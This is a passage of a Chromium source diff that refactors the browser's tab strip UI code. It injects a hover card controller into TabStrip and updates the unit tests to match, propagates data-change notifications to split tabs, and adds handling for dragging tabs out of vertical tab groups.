   raw_ptr<TabHoverCardBubbleView> hover_card_ = nullptr;
   base::ScopedObservation<views::View, views::ViewObserver>
       hover_card_observation_{this};
diff --git a/chrome/browser/ui/views/tabs/tab_search_container_unittest.cc b/chrome/browser/ui/views/tabs/tab_search_container_unittest.cc
index 97b590f..b78836ef 100644
--- a/chrome/browser/ui/views/tabs/tab_search_container_unittest.cc
+++ b/chrome/browser/ui/views/tabs/tab_search_container_unittest.cc
@@ -18,6 +18,7 @@
 #include "chrome/browser/ui/ui_features.h"
 #include "chrome/browser/ui/views/frame/browser_view.h"
 #include "chrome/browser/ui/views/tabs/fake_tab_slot_controller.h"
+#include "chrome/browser/ui/views/tabs/tab_hover_card_controller.h"
 #include "chrome/browser/ui/views/tabs/tab_search_button.h"
 #include "chrome/browser/ui/views/tabs/tab_strip_nudge_button.h"
 #include "chrome/common/chrome_features.h"
@@ -26,11 +27,14 @@
 #include "components/optimization_guide/core/model_execution/model_execution_features.h"
 #include "components/optimization_guide/core/optimization_guide_features.h"
 #include "fake_base_tab_strip_controller.h"
+#include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "ui/base/ui_base_features.h"
 #include "ui/base/unowned_user_data/user_data_factory.h"
 #include "ui/gfx/animation/animation_test_api.h"
 
+using ::testing::NiceMock;
+
 class FakeBaseTabStripControllerWithBWI : public FakeBaseTabStripController {
  public:
   explicit FakeBaseTabStripControllerWithBWI(
@@ -72,7 +76,8 @@
 
     tab_strip_ = std::make_unique<TabStrip>(
         std::make_unique<FakeBaseTabStripControllerWithBWI>(
-            browser_window_interface_.get()));
+            browser_window_interface_.get()),
+        std::unique_ptr<NiceMock<TabHoverCardController>>());
 
     tab_declutter_controller_ = std::make_unique<tabs::TabDeclutterController>(
         browser_window_interface_.get());
diff --git a/chrome/browser/ui/views/tabs/tab_strip.cc b/chrome/browser/ui/views/tabs/tab_strip.cc
index d70163a..ca97162 100644
--- a/chrome/browser/ui/views/tabs/tab_strip.cc
+++ b/chrome/browser/ui/views/tabs/tab_strip.cc
@@ -1092,9 +1092,11 @@
 ///////////////////////////////////////////////////////////////////////////////
 // TabStrip, public:
 
-TabStrip::TabStrip(std::unique_ptr<TabStripController> controller)
+TabStrip::TabStrip(
+    std::unique_ptr<TabStripController> controller,
+    std::unique_ptr<TabHoverCardController> hover_card_controller)
     : controller_(std::move(controller)),
-      hover_card_controller_(std::make_unique<TabHoverCardController>(this)),
+      hover_card_controller_(std::move(hover_card_controller)),
       drag_context_(*AddChildView(std::make_unique<TabDragContextImpl>(this))),
       style_(TabStyle::Get()) {
   // TODO(pbos): This is probably incorrect, the background of individual tabs
diff --git a/chrome/browser/ui/views/tabs/tab_strip.h b/chrome/browser/ui/views/tabs/tab_strip.h
index 00be909..63ee325 100644
--- a/chrome/browser/ui/views/tabs/tab_strip.h
+++ b/chrome/browser/ui/views/tabs/tab_strip.h
@@ -79,7 +79,9 @@
   METADATA_HEADER(TabStrip, views::View)
 
  public:
-  explicit TabStrip(std::unique_ptr<TabStripController> controller);
+  TabStrip(std::unique_ptr<TabStripController> tab_strip_controller,
+           std::unique_ptr<TabHoverCardController> hover_card_controller);
+
   TabStrip(const TabStrip&) = delete;
   TabStrip& operator=(const TabStrip&) = delete;
   ~TabStrip() override;
diff --git a/chrome/browser/ui/views/tabs/tab_strip_action_container_unittest.cc b/chrome/browser/ui/views/tabs/tab_strip_action_container_unittest.cc
index c43dadc..c51e651 100644
--- a/chrome/browser/ui/views/tabs/tab_strip_action_container_unittest.cc
+++ b/chrome/browser/ui/views/tabs/tab_strip_action_container_unittest.cc
@@ -19,6 +19,7 @@
 #include "chrome/browser/ui/views/interaction/browser_elements_views.h"
 #include "chrome/browser/ui/views/tabs/fake_base_tab_strip_controller.h"
 #include "chrome/browser/ui/views/tabs/glic/glic_button.h"
+#include "chrome/browser/ui/views/tabs/tab_hover_card_controller.h"
 #include "chrome/browser/ui/views/tabs/tab_strip.h"
 #include "chrome/browser/ui/views/tabs/tab_strip_nudge_button.h"
 #include "chrome/common/chrome_features.h"
@@ -33,6 +34,7 @@
 #include "content/public/test/test_renderer_host.h"
 #include "content/public/test/test_web_contents_factory.h"
 #include "content/public/test/web_contents_tester.h"
+#include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "ui/gfx/animation/animation_test_api.h"
 #include "ui/views/test/views_test_utils.h"
@@ -51,6 +53,8 @@
 #define MAYBE(test_name) test_name
 #endif
 
+using ::testing::NiceMock;
+
 namespace {
 using testing::SizeIs;
 }  // namespace
@@ -148,7 +152,9 @@
     auto controller = std::make_unique<FakeGlicTabStripController>(
         use_otr_profile, profile_.get());
 
-    tab_strip_ = std::make_unique<TabStrip>(std::move(controller));
+    tab_strip_ = std::make_unique<TabStrip>(
+        std::move(controller),
+        std::unique_ptr<NiceMock<TabHoverCardController>>());
 
     tab_strip_model_ = std::make_unique<TabStripModel>(
         &tab_strip_model_delegate_,
diff --git a/chrome/browser/ui/views/tabs/tab_strip_unittest.cc b/chrome/browser/ui/views/tabs/tab_strip_unittest.cc
index 2992bfe..c9a0dad1 100644
--- a/chrome/browser/ui/views/tabs/tab_strip_unittest.cc
+++ b/chrome/browser/ui/views/tabs/tab_strip_unittest.cc
@@ -14,6 +14,7 @@
 #include "base/test/scoped_feature_list.h"
 #include "base/test/task_environment.h"
 #include "base/timer/timer.h"
+#include "chrome/browser/ui/browser_window/test/mock_browser_window_interface.h"
 #include "chrome/browser/ui/layout_constants.h"
 #include "chrome/browser/ui/tabs/features.h"
 #include "chrome/browser/ui/tabs/tab_renderer_data.h"
@@ -26,6 +27,7 @@
 #include "chrome/browser/ui/views/tabs/tab_group_highlight.h"
 #include "chrome/browser/ui/views/tabs/tab_group_underline.h"
 #include "chrome/browser/ui/views/tabs/tab_group_views.h"
+#include "chrome/browser/ui/views/tabs/tab_hover_card_controller.h"
 #include "chrome/browser/ui/views/tabs/tab_icon.h"
 #include "chrome/browser/ui/views/tabs/tab_strip_controller.h"
 #include "chrome/browser/ui/views/tabs/tab_strip_observer.h"
@@ -36,6 +38,7 @@
 #include "components/data_sharing/public/features.h"
 #include "components/saved_tab_groups/public/features.h"
 #include "components/tab_groups/tab_group_id.h"
+#include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "ui/base/pointer/touch_ui_controller.h"
 #include "ui/base/ui_base_features.h"
@@ -56,6 +59,8 @@
 #include "ui/views/view_utils.h"
 #include "ui/views/widget/widget.h"
 
+using ::testing::NiceMock;
+
 namespace {
 
 struct TabStripUnittestParams {
@@ -115,7 +120,9 @@
     ChromeViewsTestBase::SetUp();
 
     controller_ = new FakeBaseTabStripController;
-    tab_strip_ = new TabStrip(std::unique_ptr<TabStripController>(controller_));
+    tab_strip_ =
+        new TabStrip(std::unique_ptr<TabStripController>(controller_),
+                     std::unique_ptr<NiceMock<TabHoverCardController>>());
     tab_strip_->Initialize();
     controller_->set_tab_strip(tab_strip_);
     // Do this to force TabStrip to create the buttons.
diff --git a/chrome/browser/ui/views/tabs/tab_style_views.cc b/chrome/browser/ui/views/tabs/tab_style_views.cc
index 1e3122c..ac3a9dfa 100644
--- a/chrome/browser/ui/views/tabs/tab_style_views.cc
+++ b/chrome/browser/ui/views/tabs/tab_style_views.cc
@@ -26,7 +26,7 @@
 #include "chrome/browser/ui/ui_features.h"
 #include "chrome/browser/ui/views/frame/browser_frame_view.h"
 #include "chrome/browser/ui/views/frame/browser_view.h"
-#include "chrome/browser/ui/views/frame/top_container_background.h"
+#include "chrome/browser/ui/views/frame/themed_background.h"
 #include "chrome/browser/ui/views/tabs/glow_hover_controller.h"
 #include "chrome/browser/ui/views/tabs/tab.h"
 #include "chrome/browser/ui/views/tabs/tab_close_button.h"
@@ -961,7 +961,7 @@
     canvas->sk_canvas()->scale(scale, scale);
     gfx::ImageSkia* image =
         tab_->GetThemeProvider()->GetImageSkiaNamed(fill_id.value());
-    TopContainerBackground::PaintThemeAlignedImage(
+    ThemedBackground::PaintThemeAlignedImage(
         canvas, tab_,
         BrowserView::GetBrowserViewForBrowser(tab_->controller()->GetBrowser()),
         image);
diff --git a/chrome/browser/ui/views/tabs/tab_unittest.cc b/chrome/browser/ui/views/tabs/tab_unittest.cc
index 31cdd0b..b98f4698 100644
--- a/chrome/browser/ui/views/tabs/tab_unittest.cc
+++ b/chrome/browser/ui/views/tabs/tab_unittest.cc
@@ -25,6 +25,7 @@
 #include "chrome/browser/ui/views/tabs/fake_tab_slot_controller.h"
 #include "chrome/browser/ui/views/tabs/tab_accessibility.h"
 #include "chrome/browser/ui/views/tabs/tab_close_button.h"
+#include "chrome/browser/ui/views/tabs/tab_hover_card_controller.h"
 #include "chrome/browser/ui/views/tabs/tab_icon.h"
 #include "chrome/browser/ui/views/tabs/tab_slot_controller.h"
 #include "chrome/browser/ui/views/tabs/tab_slot_view.h"
@@ -38,6 +39,7 @@
 #include "components/tab_groups/tab_group_id.h"
 #include "components/tab_groups/tab_group_visual_data.h"
 #include "components/tabs/public/mock_tab_interface.h"
+#include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "third_party/skia/include/core/SkBitmap.h"
 #include "ui/base/models/list_selection_model.h"
@@ -55,6 +57,7 @@
 #include "ui/views/view_class_properties.h"
 #include "ui/views/widget/widget.h"
 
+using ::testing::NiceMock;
 using views::Widget;
 
 namespace {
@@ -280,7 +283,9 @@
     ChromeViewsTestBase::SetUp();
 
     controller_ = new FakeBaseTabStripController;
-    tab_strip_ = new TabStrip(std::unique_ptr<TabStripController>(controller_));
+    tab_strip_ =
+        new TabStrip(std::unique_ptr<TabStripController>(controller_),
+                     std::unique_ptr<NiceMock<TabHoverCardController>>());
     tab_strip_->Initialize();
     controller_->set_tab_strip(tab_strip_);
 
diff --git a/chrome/browser/ui/views/tabs/vertical/root_tab_collection_node.cc b/chrome/browser/ui/views/tabs/vertical/root_tab_collection_node.cc
index a285736..222cc15 100644
--- a/chrome/browser/ui/views/tabs/vertical/root_tab_collection_node.cc
+++ b/chrome/browser/ui/views/tabs/vertical/root_tab_collection_node.cc
@@ -62,6 +62,12 @@
   remove_node_view_from_parent_.Run(view);
 }
 
+base::CallbackListSubscription
+RootTabCollectionNode::RegisterOnChildrenAddedCallback(
+    base::RepeatingClosure callback) {
+  return on_children_added_callback_list_.Add(std::move(callback));
+}
+
 void RootTabCollectionNode::OnChildrenAdded(
     const tabs::TabCollection::Position& position,
     const tabs::TabCollectionNodes& handles,
@@ -72,6 +78,7 @@
         ->AddNewChild(GetPassKey(), child, position.index,
                       /*perform_initialization=*/insert_from_detached);
   }
+  on_children_added_callback_list_.Notify();
 }
 
 void RootTabCollectionNode::OnChildrenRemoved(
@@ -140,22 +147,14 @@
     return;
   }
 
-  std::set<TabCollectionNode*> changed_tabs;
+  std::set<tabs::TabInterface*> changed_tabs;
 
   if (selection.active_tab_changed()) {
     if (selection.old_tab) {
-      TabCollectionNode* old_tab_node =
-          GetNodeForHandle(selection.old_tab->GetHandle());
-      if (old_tab_node) {
-        changed_tabs.insert(old_tab_node);
-      }
+      changed_tabs.insert(selection.old_tab);
     }
     if (selection.new_tab) {
-      TabCollectionNode* new_tab_node =
-          GetNodeForHandle(selection.new_tab->GetHandle());
-      if (new_tab_node) {
-        changed_tabs.insert(new_tab_node);
-      }
+      changed_tabs.insert(selection.new_tab);
     }
   }
 
@@ -170,11 +169,10 @@
     auto new_selections =
         base::STLSetDifference<SelectionHandles>(selected_tabs, selected_tabs_);
 
-    for (auto tab_handle :
+    for (tabs::TabHandle tab_handle :
          base::STLSetUnion<SelectionHandles>(old_selections, new_selections)) {
-      TabCollectionNode* tab_node = GetNodeForHandle(tab_handle);
-      if (tab_node) {
-        changed_tabs.insert(tab_node);
+      if (auto* tab = tab_handle.Get()) {
+        changed_tabs.insert(tab);
       }
     }
     selected_tabs_ = selected_tabs;
@@ -184,14 +182,10 @@
     // Discarding a tab causes a replace change notification to be sent. Add any
     // replaced tab to the list of tabs to update.
     auto* replace = change.GetReplace();
-    TabCollectionNode* tab_node = GetNodeForHandle(
-        tab_strip_model->GetTabAtIndex(replace->index)->GetHandle());
-    changed_tabs.insert(tab_node);
+    changed_tabs.insert(tab_strip_model->GetTabAtIndex(replace->index));
   }
 
-  for (auto* tab_node : changed_tabs) {
-    tab_node->NotifyDataChanged();
-  }
+  UpdateTabsData(changed_tabs);
 }
 
 void RootTabCollectionNode::OnTabGroupChanged(const TabGroupChange& change) {
@@ -232,17 +226,48 @@
     return;
   }
 
-  UpdateTabData(tab);
+  UpdateTabsData({tab});
 }
 
 void RootTabCollectionNode::OnTabBlockedStateChanged(tabs::TabInterface* tab,
                                                      int model_index) {
-  UpdateTabData(tab);
+  UpdateTabsData({tab});
 }
 
-void RootTabCollectionNode::UpdateTabData(tabs::TabInterface* tab) {
-  TabCollectionNode* tab_node = GetNodeForHandle(tab->GetHandle());
-  if (tab_node) {
-    tab_node->NotifyDataChanged();
+void RootTabCollectionNode::UpdateTabsData(
+    const std::set<tabs::TabInterface*>& changed_tabs) {
+  std::set<TabCollectionNode*> nodes_to_notify;
+
+  for (auto* tab : changed_tabs) {
+    auto* node = GetNodeForHandle(tab->GetHandle());
+    if (!node) {
+      continue;
+    }
+
+    nodes_to_notify.insert(node);
+
+    // Include all tabs within a split when notifying data change to ensure
+    // consistent visual state across the split.
+    if (!tab->IsSplit() ||
+        !tab_strip_model_->ContainsSplit(tab->GetSplit().value())) {
+      continue;
+    }
+
+    const auto* split_data =
+        tab_strip_model_->GetSplitData(tab->GetSplit().value());
+
+    for (auto* sibling : split_data->ListTabs()) {
+      if (auto* sibling_node = GetNodeForHandle(sibling->GetHandle())) {
+        nodes_to_notify.insert(sibling_node);
+      }
+    }
   }
+
+  for (auto* node : nodes_to_notify) {
+    node->NotifyDataChanged();
+  }
+}
+
+void RootTabCollectionNode::NotifyOnChildrenAdded() {
+  on_children_added_callback_list_.Notify();
 }
diff --git a/chrome/browser/ui/views/tabs/vertical/root_tab_collection_node.h b/chrome/browser/ui/views/tabs/vertical/root_tab_collection_node.h
index cac60b3..c5ca7ee 100644
--- a/chrome/browser/ui/views/tabs/vertical/root_tab_collection_node.h
+++ b/chrome/browser/ui/views/tabs/vertical/root_tab_collection_node.h
@@ -33,6 +33,9 @@
   void Init();
   void Reset();
 
+  base::CallbackListSubscription RegisterOnChildrenAddedCallback(
+      base::RepeatingClosure callback);
+
  private:
   using SelectionHandles = base::flat_set<tabs::TabHandle>;
 
@@ -60,12 +63,15 @@
   void OnTabBlockedStateChanged(tabs::TabInterface* tab,
                                 int model_index) override;
 
-  void UpdateTabData(tabs::TabInterface* tab);
+  void UpdateTabsData(const std::set<tabs::TabInterface*>& changed_tabs);
+
+  void NotifyOnChildrenAdded();
 
   raw_ptr<TabStripModel> tab_strip_model_;
   SelectionHandles selected_tabs_;
   CustomAddChildViewCallback add_node_view_to_parent_;
   CustomRemoveChildViewCallback remove_node_view_from_parent_;
+  base::RepeatingClosureList on_children_added_callback_list_;
   base::WeakPtrFactory<RootTabCollectionNode> weak_ptr_factory_{this};
 };
 
diff --git a/chrome/browser/ui/views/tabs/vertical/tab_collection_animating_layout_manager.cc b/chrome/browser/ui/views/tabs/vertical/tab_collection_animating_layout_manager.cc
index 54c06d7..9a60fb0 100644
--- a/chrome/browser/ui/views/tabs/vertical/tab_collection_animating_layout_manager.cc
+++ b/chrome/browser/ui/views/tabs/vertical/tab_collection_animating_layout_manager.cc
@@ -85,7 +85,7 @@
   // are not reflected in the target.
   gfx::Size target_preferred_size =
       target_layout_manager_->GetPreferredSize(host);
-  if (animate_host_size_ &&
+  if (animate_host_size_ && animation_.is_animating() &&
       (target_preferred_size.height() < current_layout_content_height_)) {
     target_preferred_size.set_height(current_layout_content_height_);
   }
@@ -100,7 +100,7 @@
   // are not reflected in the target.
   gfx::Size target_preferred_size =
       target_layout_manager_->GetPreferredSize(host, available_size);
-  if (animate_host_size_ &&
+  if (animate_host_size_ && animation_.is_animating() &&
       (target_preferred_size.height() < current_layout_content_height_)) {
     target_preferred_size.set_height(current_layout_content_height_);
   }
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_dragged_tabs_container.cc b/chrome/browser/ui/views/tabs/vertical/vertical_dragged_tabs_container.cc
index 013c022c7..f9cebb1 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_dragged_tabs_container.cc
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_dragged_tabs_container.cc
@@ -130,7 +130,8 @@
   return GetDragHandler().GetDragContext();
 }
 
-void VerticalDraggedTabsContainer::OnTabDragExited() {
+void VerticalDraggedTabsContainer::OnTabDragExited(
+    const gfx::Point& point_in_screen) {
   ResetDragState();
 }
 
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_dragged_tabs_container.h b/chrome/browser/ui/views/tabs/vertical/vertical_dragged_tabs_container.h
index e1c5dcf..a11d96e 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_dragged_tabs_container.h
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_dragged_tabs_container.h
@@ -53,7 +53,7 @@
   TabDragContext* OnTabDragUpdated(TabDragTarget::DragController& controller,
                                    const gfx::Point& point_in_screen) override;
   void OnTabDragEntered() override {}
-  void OnTabDragExited() override;
+  void OnTabDragExited(const gfx::Point& point_in_screen) override;
   void OnTabDragEnded() override;
   bool CanDropTab() final;
   void HandleTabDrop(TabDragTarget::DragController& controller) final {}
@@ -74,6 +74,12 @@
   std::optional<DraggedViewVisualData> GetVisualDataForDraggedView(
       const views::View& view) const;
 
+  // Returns the bounds of the box containing all dragged views, adjusted to
+  // the point `point_in_container`, and clamped to the bounds of the
+  // container.
+  gfx::Rect GetDraggingViewsBoundsAtPoint(
+      const gfx::Point& point_in_container) const;
+
   // Helper for getting the view at a given point, excluding dragged views.
   views::View* GetViewAtPoint(const views::ProposedLayout& layout,
                               const gfx::Point& point);
@@ -94,7 +100,7 @@
   // Handles a dragged tab that is parented within this target.
   // `point_in_container` is a point relative to this target's view.
   virtual void HandleTabDragInContainer(
-      const gfx::Point point_in_container) = 0;
+      const gfx::Point& point_in_container) = 0;
 
   // Updates state related to dragging tabs, to be used when this container
   // starts handling a drag.
@@ -116,12 +122,6 @@
   // the last drag point.
   void UpdateDraggingViewTransforms(const gfx::Point& point_in_container);
 
-  // Returns the bounds of the box containing all dragged views, adjusted to
-  // the point `point_in_container`, and clamped to the bounds of the
-  // container.
-  gfx::Rect GetDraggingViewsBoundsAtPoint(
-      const gfx::Point& point_in_container) const;
-
   bool IsHorizontalDragSupported() const;
 
   const raw_ref<const views::View> host_view_;
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_pinned_tab_container_view.cc b/chrome/browser/ui/views/tabs/vertical/vertical_pinned_tab_container_view.cc
index 37940d3..ec0bda7 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_pinned_tab_container_view.cc
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_pinned_tab_container_view.cc
@@ -166,7 +166,7 @@
 }
 
 void VerticalPinnedTabContainerView::HandleTabDragInContainer(
-    const gfx::Point point_in_container) {
+    const gfx::Point& point_in_container) {
   const views::ProposedLayout& target_layout = layout_manager_->target_layout();
   views::View* view_at_point =
       GetViewAtPoint(target_layout, point_in_container);
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_pinned_tab_container_view.h b/chrome/browser/ui/views/tabs/vertical/vertical_pinned_tab_container_view.h
index 9e4f0da..0fdb674 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_pinned_tab_container_view.h
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_pinned_tab_container_view.h
@@ -41,7 +41,7 @@
   bool IsTabStripCollapsed() const override;
   views::ScrollView* GetScrollViewForContainer() const override;
   void UpdateLayoutForDrag() override;
-  void HandleTabDragInContainer(const gfx::Point point_in_container) override;
+  void HandleTabDragInContainer(const gfx::Point& point_in_container) override;
 
   void ResetCollectionNode();
 
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_drag_handler.cc b/chrome/browser/ui/views/tabs/vertical/vertical_tab_drag_handler.cc
index 51c4d38..2e1b150 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_drag_handler.cc
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_drag_handler.cc
@@ -262,14 +262,46 @@
     case TabCollectionNode::Type::GROUP:
       HandleTabDragOverGroup(node);
       break;
-    case TabCollectionNode::Type::UNPINNED:
-      HandleTabDragOverUnpinnedContainer(node, position_hint);
-      break;
     default:
       NOTREACHED();
   }
 }
 
+void VerticalTabDragHandlerImpl::HandleDraggedTabsOutOfGroup(
+    const TabCollectionNode& node,
+    DragPositionHint position_hint) {
+  CHECK_EQ(node.type(), TabCollectionNode::Type::GROUP);
+
+  const auto* tab_group =
+      static_cast<const tabs::TabGroupTabCollection*>(
+          std::get<const tabs::TabCollection*>(node.GetNodeData()))
+          ->GetTabGroup();
+  CHECK(tab_group);
+
+  const auto& selection_model = tab_strip_model_->selection_model();
+  int insertion_idx;
+  switch (position_hint) {
+    case DragPositionHint::kBottom: {
+      int last_tab_in_group =
+          tab_strip_model_->GetIndexOfTab(tab_group->GetLastTab());
+      insertion_idx =
+          last_tab_in_group - selection_model.selected_tabs().size() + 1;
+      break;
+    }
+    case DragPositionHint::kTop: {
+      int first_tab_in_group =
+          tab_strip_model_->GetIndexOfTab(tab_group->GetFirstTab());
+      insertion_idx = first_tab_in_group;
+      break;
+    }
+    default:
+      NOTREACHED();
+  }
+
+  insertion_idx = std::clamp(insertion_idx, 0, tab_strip_model_->count() - 1);
+  tab_strip_model_->MoveSelectedTabsTo(insertion_idx, std::nullopt);
+}
+
 void VerticalTabDragHandlerImpl::HandleTabDragOverTab(
     const TabCollectionNode& node) {
   const auto* tab = std::get<const tabs::TabInterface*>(node.GetNodeData());
@@ -342,16 +374,15 @@
   int first_selected_index =
       *selection_model.GetListSelectionModel().selected_indices().cbegin();
 
-  auto dragged_group = GetDraggingGroupHeaderId();
   if (tab_strip_model_->IsGroupCollapsed(tab_group->id()) ||
-      dragged_group.has_value()) {
-    // If dragging over a collapsed group or dragging a group header, then
+      IsDraggingGroups()) {
+    // If dragging over a collapsed group or dragging a group, then
     // move the dragged tabs/header before or after the dragged-over group.
     int insertion_idx =
         (first_selected_index < first_tab_in_group)
             ? last_tab_in_group - selection_model.selected_tabs().size() + 1
             : first_tab_in_group;
-    if (dragged_group.has_value()) {
+    if (auto dragged_group = GetDraggingGroupHeaderId()) {
       tab_strip_model_->MoveGroupTo(*dragged_group, insertion_idx);
     } else {
       tab_strip_model_->MoveSelectedTabsTo(insertion_idx, std::nullopt);
@@ -368,41 +399,6 @@
   }
 }
 
-void VerticalTabDragHandlerImpl::HandleTabDragOverUnpinnedContainer(
-    const TabCollectionNode& node,
-    std::optional<DragPositionHint> position_hint) {
-  if (position_hint == DragPositionHint::kBottom) {
-    int insertion_index =
-        tab_strip_model_->count() -
-        tab_strip_model_->selection_model().selected_tabs().size();
-    if (auto group = GetDraggingGroupHeaderId(); group.has_value()) {
-      tab_strip_model_->MoveGroupTo(*group, insertion_index);
-    } else {
-      // Move the selected tabs to the end.
-      tab_strip_model_->MoveSelectedTabsTo(insertion_index, std::nullopt);
-    }
-    return;
-  }
-
-  if (IsDraggingGroups()) {
-    return;
-  }
-
-  // TODO(crbug.com/439963720): Re-evaluate whether this logic is needed once drag
-  // hit-testing is improved.
-  const tabs::TabInterface* selected_tab =
-      *tab_strip_model_->selection_model().selected_tabs().cbegin();
-
-  if (selected_tab->GetGroup().has_value()) {
-    ui::ListSelectionModel::SelectedIndices selected =
-        tab_strip_model_->selection_model()
-            .GetListSelectionModel()
-            .selected_indices();
-    std::vector<int> tab_indices(selected.begin(), selected.end());
-    tab_strip_model_->RemoveFromGroup(tab_indices);
-  }
-}
-
 TabDragContext* VerticalTabDragHandlerImpl::GetDragContext() {
   return this;
 }
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_drag_handler.h b/chrome/browser/ui/views/tabs/vertical/vertical_tab_drag_handler.h
index c128d6e6..7a8b7da 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_drag_handler.h
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_drag_handler.h
@@ -46,6 +46,11 @@
       const TabCollectionNode& node,
       std::optional<DragPositionHint> position_hint) = 0;
 
+  // Handles tab strip model updates to reflect a drag exiting a group.
+  // Position hint is used to determine where the drag is, relative to the node.
+  virtual void HandleDraggedTabsOutOfGroup(const TabCollectionNode& node,
+                                           DragPositionHint position_hint) = 0;
+
   // Returns the drag context for this handler.
   virtual TabDragContext* GetDragContext() = 0;
 
@@ -90,6 +95,8 @@
   void HandleDraggedTabsOverNode(
       const TabCollectionNode& node,
       std::optional<DragPositionHint> position_hint) override;
+  void HandleDraggedTabsOutOfGroup(const TabCollectionNode& node,
+                                   DragPositionHint position_hint) override;
   TabDragContext* GetDragContext() override;
   bool IsViewDragging(const views::View& view) const override;
   bool IsDraggingPinnedTabs() const override;
@@ -162,9 +169,6 @@
   void HandleTabDragOverTab(const TabCollectionNode& node);
   void HandleTabDragOverSplit(const TabCollectionNode& node);
   void HandleTabDragOverGroup(const TabCollectionNode& node);
-  void HandleTabDragOverUnpinnedContainer(
-      const TabCollectionNode& node,
-      std::optional<DragPositionHint> position_hint);
 
   // Returns the group id of the dragged group header, or null if the drag
   // was not initiated by a group header.
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_group_view.cc b/chrome/browser/ui/views/tabs/vertical/vertical_tab_group_view.cc
index 89209bbf..66c247f 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_group_view.cc
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_group_view.cc
@@ -340,7 +340,7 @@
 }
 
 void VerticalTabGroupView::HandleTabDragInContainer(
-    const gfx::Point point_in_container) {
+    const gfx::Point& point_in_container) {
   views::View* view_at_point =
       GetViewAtPoint(layout_manager_->target_layout(), point_in_container);
   const TabCollectionNode* node = collection_node_;
@@ -372,6 +372,19 @@
   return saved_group && saved_group->is_shared_tab_group();
 }
 
+void VerticalTabGroupView::OnTabDragExited(const gfx::Point& point_in_screen) {
+  auto dragging_tabs_bounds = GetDraggingViewsBoundsAtPoint(
+      views::View::ConvertPointFromScreen(this, point_in_screen));
+  if (dragging_tabs_bounds.y() < 0) {
+    GetDragHandler().HandleDraggedTabsOutOfGroup(*collection_node_,
+                                                 DragPositionHint::kTop);
+  } else if (dragging_tabs_bounds.bottom() > height()) {
+    GetDragHandler().HandleDraggedTabsOutOfGroup(*collection_node_,
+                                                 DragPositionHint::kBottom);
+  }
+  VerticalDraggedTabsContainer::OnTabDragExited(point_in_screen);
+}
+
 void VerticalTabGroupView::InitHeaderDrag(const ui::MouseEvent& event) {
   CHECK(collection_node_);
   GetDragHandler().InitializeDrag(*collection_node_, event);
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_group_view.h b/chrome/browser/ui/views/tabs/vertical/vertical_tab_group_view.h
index 81495649..099a293 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_group_view.h
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_group_view.h
@@ -75,7 +75,8 @@
   bool IsTabStripCollapsed() const override;
   views::ScrollView* GetScrollViewForContainer() const override;
   void UpdateLayoutForDrag() override;
-  void HandleTabDragInContainer(const gfx::Point point_in_container) override;
+  void HandleTabDragInContainer(const gfx::Point& point_in_container) override;
+  void OnTabDragExited(const gfx::Point& point_in_screen) override;
 
   void ResetCollectionNode();
   void OnDataChanged();
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_bottom_container.cc b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_bottom_container.cc
index d74129f..431335d 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_bottom_container.cc
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_bottom_container.cc
@@ -16,7 +16,8 @@
 
 VerticalTabStripBottomContainer::VerticalTabStripBottomContainer(
     tabs::VerticalTabStripStateController* state_controller,
-    actions::ActionItem* root_action_item)
+    actions::ActionItem* root_action_item,
+    base::RepeatingClosure record_new_tab_button_pressed)
     : root_action_item_(root_action_item),
       action_view_controller_(std::make_unique<views::ActionViewController>()) {
   SetProperty(views::kElementIdentifierKey,
@@ -30,6 +31,9 @@
   new_tab_button_ = AddChildButtonFor(kActionNewTab);
   new_tab_button_->SetProperty(views::kElementIdentifierKey,
                                kNewTabButtonElementId);
+  new_tab_button_pressed_subscription_ =
+      new_tab_button_->RegisterWillInvokeActionCallback(
+          record_new_tab_button_pressed);
 
   UpdateButtonStyles(state_controller);
 }
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_bottom_container.h b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_bottom_container.h
index 3faaa4ea..7ddca59 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_bottom_container.h
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_bottom_container.h
@@ -23,7 +23,8 @@
  public:
   VerticalTabStripBottomContainer(
       tabs::VerticalTabStripStateController* state_controller,
-      actions::ActionItem* root_action_item);
+      actions::ActionItem* root_action_item,
+      base::RepeatingClosure record_new_tab_button_pressed);
   ~VerticalTabStripBottomContainer() override;
 
   TabStripFlatEdgeButton* AddChildButtonFor(actions::ActionId action_id);
@@ -40,6 +41,7 @@
   raw_ptr<actions::ActionItem> root_action_item_ = nullptr;
